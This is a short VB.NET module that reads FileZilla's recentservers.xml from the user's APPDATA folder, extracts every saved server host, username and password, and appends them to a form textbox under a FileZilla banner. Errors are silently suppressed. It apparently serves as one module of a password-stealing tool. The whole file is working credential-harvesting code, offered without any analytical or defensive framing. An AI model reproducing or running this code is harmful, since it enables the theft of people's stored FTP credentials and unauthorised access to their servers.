Module Filezilla
    Function ShoitZilla() As String
        On Error Resume Next
        Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
        Dim FileBuffer As String = vbNull
        Dim NL As String = vbNewLine
        FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
        Dim str As String
        Dim Output As String = Nothing
        Dim TempData() As String
        TempData = FileBuffer.Split(vbCrLf)
        FileBuffer = Nothing
        For Each str In TempData
            If str.Contains("</Host>") Then
                str.Replace("<Host>", "").Replace("</Host>", "")
                Output = Output & "Host : " & str & NL
            End If
            If str.Contains("</User>") Then
                str.Replace("<User>", "").Replace("</User>", "")
                Output = Output & "Username : " & str & NL
            End If
            If str.Contains("</Pass>") Then
                str.Replace("<Pass>", "").Replace("</Pass>", "")
                Output = Output & "Password : " & str & NL & NL
            End If
        Next
        Output = "=============FileZilla================" & vbNewLine & Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "") & vbNewLine
        ShoitZilla = Output
        Form1.ztext.AppendText(Output)
    End Function
End Module